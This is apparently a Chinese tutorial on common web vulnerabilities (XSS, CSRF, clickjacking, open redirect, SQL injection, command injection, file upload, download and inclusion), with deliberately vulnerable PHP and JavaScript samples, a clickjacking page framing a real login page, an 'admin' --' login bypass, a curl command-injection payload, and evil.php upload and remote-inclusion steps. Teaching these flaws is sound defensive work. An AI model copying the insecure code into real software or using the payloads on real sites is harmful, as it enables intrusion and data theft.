web安全问题其实就是黑客利用各种web漏洞,实现钓鱼、篡改网页、挂暗链、植入webshell后门等目的。
可以使用insite:hacked by关键字在搜索引擎中搜索被篡改的网页,一般是为了炫耀或政治目的。简单的搜索引擎语法:
webshell就是网页后门程序,通过浏览器网页进行执行,通常以asp/php/jsp等脚本文件形式存在,具有命令执行、目录操作、账号管理等各种功能。
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,有人将跨站脚本攻击缩写为XSS。常见危害有,钓鱼、劫持用户会话,插入恶意内容、重定向用户、使用恶意软件劫持用户浏览器、繁殖XSS蠕虫,甚至破坏网站、修改路由器配置信息等。
xss类型 | 存储型 | 反射型 | DOM型 |
---|---|---|---|
触发过程 | 需要两步 1.黑客构造xss脚本。 2.正常用户访问携带xss脚本的页面。 |
正常用户访携带xss脚本的url | 正常用户访携带xss脚本的url |
数据存储 | 数据库 | url | url |
谁来输出 | 后端web应用程序(数据在数据库中) | 后端web应用程序 | 前端JavaScript |
输出位置 | http响应中 | http响应中 | 动态构造的DOM节点 |
跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。常见的危害有,如发邮件,发消息,甚至财产操作如转账和购买商品,制造蠕虫等)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
透过例子能够看出,攻击者并不能通过CSRF攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义运行操作。
点击劫持clickjacking,也被称为UI-覆盖攻击,是指在一个Web页面下隐藏了一个透明的iframe(opacity:0),用外层假页面诱导用户点击,实际上是在隐藏的iframe上触发了点击事件进行一些用户不知情的操作。常见的危害有,盗取用户资金、获得用户的敏感信息、与XSS或CSRF等其他攻击手段配合等。
click.html
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<head>
<title>点击劫持title>
<style>
html,body,iframe{
display: block;
height: 100%;
width: 100%;
padding: 0;
border: none;
}
iframe{
opacity: 0.3; /*opacity即可见度,设置为0即可隐藏,为了显示设置为0.3*/
filter:alpha(opacity=30); /* IE */
-moz-opacity: 0; /* Moz + FF */
position:absolute;
z-index:2;
}
button{
position:absolute;
top:350px;
left:900px;
z-index:1; /* 表示垂直屏幕的距离,值越大视觉效果越近 */
width:72px;
height:26px;
}
style>
head>
<body>
<button><img src="/images/click.jpg">button>
<iframe src="https://dun.163.com/dashboard?v=0116&locale=zh_CN#/login/?referrer=%2F">iframe>
body>
html>
借助未验证的url跳转,将应用程序引导到不安全的第三方区域,从而导致的安全问题。常见的危害有钓鱼、诈骗等。 短连接生成网站如33短链、百度短网址等,使得url跳转漏洞更难被识别。
header("Content-Type:text/html;charset=utf-8");
if(isset($_REQUEST["url"])){
$url = $_REQUEST["url"];
//获取用户请求的链接
}else{
$url = "url.html";
}
header("HTTP/1.1 301 Moved Permanently");
header("Location:$url");
//跳转到链接地址
?>
<script type="text/javascript">
function getQueryString(name){
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i");
var r = window.location.search.substr(1).match(reg);
if(r!=null)
return unescape(r[2]);
return null;
}
if(site!=null){
var site = getQueryString("site");
//获取用户请求链接
window.location.href = site;
//跳转到链接地址
}else{
window.location.href = "url.html";
}
</script>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<head>
<title>meta标签实现url跳转</title>
header("Content-Type:text/html;charset=utf-8");
if(isset($_REQUEST["url"])){
$url = $_REQUEST["url"];
//获取用户请求链接
}else{
$url = "url.html";
}
?>
<meta http-equiv="Refresh" content="5; url=$url ?>" />
<!--跳转到链接地址,这里的5秒表示页面跳转延时-->
</head>
<body>
</body>
</html>
由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。本质是数据和代码未分离,数据当做了代码来执行。SQL注入常见危害有,刷库、拖库、撞库、上传木马、获取服务器权限、读取服务器敏感文件等。
sql注入的必备条件
万能密码:admin’ – ,即admin+单引号+空格+双横杠+空格,双横杠表示注释。语句变成简单的查询语句,select name from teacher where name =‘admin’,肯定执行成功,所以不需要密码即可登录成功。
命令注入即 Command Injection。是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。在Web应用中,有时候会用到一些命令执行的函数,如php中system、exec、shell_exec等,当对用户输入的命令没有进行限制或者过滤不严导致用户可以执行任意命令时,就会造成命令执行漏洞。常见危害有,继承web应用程序的权限去执行系统命令读写执行文件、、反弹shell、控制整个网站甚至整个服务器、进一步内网渗透。
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
if(isset($_GET['type'])){
$type = $_GET['type']; //从参数中获取type值
}else{
$type = 1;
}
switch($type){
case 1:
exec('ipconfig', $output, $status);
break;
case 2:
exec('net user', $output, $status);
break;
case 3:
exec('dir', $output, $status);
break;
} //这里命令是写死的,不可控
foreach($output as $value){
//编码转换,输出命令执行结果
echo(mb_convert_encoding($value, "UTF-8", "GB2312"));
echo("
");
}
?>
</body>
</html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
if(isset($_GET['url'])){
$url = $_GET['url']; //从参数中获取url
}else{
$url = "http://dun.163.com";
}
//调用curl命令,获取url响应头
$cmd = 'curl -I "'.$url.'"';
//执行系统命令
exec($cmd, $output, $status);
echo "".htmlspecialchars($url).""."的响应头如下:
";
// 输出命令执行结果
foreach($output as $value){
echo htmlspecialchars($value);
echo "
";
}
?>
</body>
</html>
成功注入是因为curl函数参数可控,原理图如下,利用代码为:http://www.163.com" %26 dir "./。
注意,因为&符号在url中是参数分隔符,这里需要将&符号进行url转义为“26%”。另外不需要输入最后一个双引号,php代码会自动补充。
输出结果如下:
常见的文件操作有文件包含、文件读取、文件删除、文件修改以及文件上传,对应常见的文件操作漏洞大概分为文件上传漏洞、任意文件下载漏洞、文件包含漏洞。常见危害有上传Webshell、上传木马、下载系统任意文件、下载程序代码等。
文件上传漏洞需要两点:
phpinfo(); //漏洞证明代码
?>
获取evil.php地址,复制图像地址
访问上传文件,evil.php执行成功,进一步利用可以上传webshell。
文件下载漏洞因为未考虑如下两点:
1.未验证下载文件格式,验证后缀,文件头等。
2. 未限制请求的路径。
通过连接中写入参数name=download.rar直接下载文件。
修改参数name=download.php,尝试下载已知服务器上存在的download.php文件,下载成功。由此可以通过路径遍历等方式尝试下载系统中的其他文件,如数据库配置,代码文件等。
分为:
常用的文件包含函数include()、require()、include_once()、require_once()。。。
文件包含漏洞示例代码include.php
if(isset($_GET['name'])){
$filename = $_GET['name'];
include($filename);
}else{
echo "Error.";
}
?>
本地包含:首先上传一个evil.png,步骤与文件上传漏洞中相同,然后复制图像地址,找到该文件的相对路径upload/evil.png。
然后通过访问//服务器路径/include.php?name=upload/evil.png。来执行evil.png中的内容,图中执行成功。
远程包含:将evil.png上传到远程服务器,然后通过访问//服务器路径/include.php?name=远程服务器地址/evil.png。来执行evil.png中的内容,图中执行成功。